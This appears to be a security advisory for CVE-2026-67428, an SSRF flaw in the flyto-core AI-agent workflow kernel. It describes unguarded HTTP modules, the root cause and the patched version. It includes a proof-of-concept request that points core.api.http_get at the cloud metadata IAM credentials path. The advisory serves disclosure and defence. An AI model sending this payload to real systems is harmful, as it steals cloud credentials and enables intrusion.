high · 8.5CVE-2026-67428Jul 30, 2026

CVE-2026-67428: flyto-core Missing SSRF Guard on HTTP Modules

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Over a dozen HTTP-emitting modules in flyto-core skip the project's own SSRF guard function entirely, letting any authenticated workflow author point a URL at the cloud metadata endpoint or an…

Packageflyto-core
Ecosystempip
Affected<= 2.26.6
Fixed in2.26.7
CVE-2026-67428: flyto-core Missing SSRF Guard on HTTP Modules

The problem

flyto-core is an open-source execution kernel for AI-agent workflows. It ships a SSRF guard function, validate_url_with_env_config, but that guard is opt-in per module, not globally enforced.

Modules including core.api.http_get, core.api.http_post, graphql.query, graphql.mutation, monitor.http_check, communication.slack_send, the notification.* family, ai.vision_analyze, verify.visual_diff, browser.proxy_rotate, and the agent/llm inline base_url branch all fire outbound HTTP without ever calling it.

The affected source is src/core/modules/third_party/developer/http/requests.py. A metadata tag string ssrf_protected appears in several of these modules but it is inert: it carries no enforcement.

Proof of concept

A working proof-of-concept for CVE-2026-67428 in flyto-core, with the exact payload below.

http
POST /mcp HTTP/1.1
Host: localhost:8333
Content-Type: application/json
Authorization: Bearer <workflow-author-token>

{
  "method": "tools/call",
  "params": {
    "name": "execute_module",
    "arguments": {
      "module_id": "core.api.http_get",
      "params": {
        "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
      }
    }
  }
}

The root cause is a missing call to validate_url_with_env_config(url) before the session.get(url) call at line 85 of requests.py (and session.post at line 188). Grepping that file for validate_url, ssrf, or is_private returns zero real guard calls; the only two hits are the inert ssrf_protected metadata tag strings at lines 23 and 116.

The fix in commit 0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9 (v2.26.7) adds the missing validate_url_with_env_config(url) call at the top of each affected module's execute path, matching what the guarded siblings (ai.model, http.get) already did. The correct fix is to route all outbound HTTP through a single guarded client wrapper so future modules inherit the guard automatically (CWE-918).

The fix

Upgrade to flyto-core 2.26.7 or later. The patch commit 0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9 adds validate_url_with_env_config(url) to every affected module before any outbound request is issued. If you cannot upgrade immediately, remove core.api.http_get, core.api.http_post, and the other listed module IDs from your capability allowlist using the _DEFAULT_DENYLIST policy in module_policy.py.

Reported by zx (Jace).

References: [1][2][3][4][5]

Related research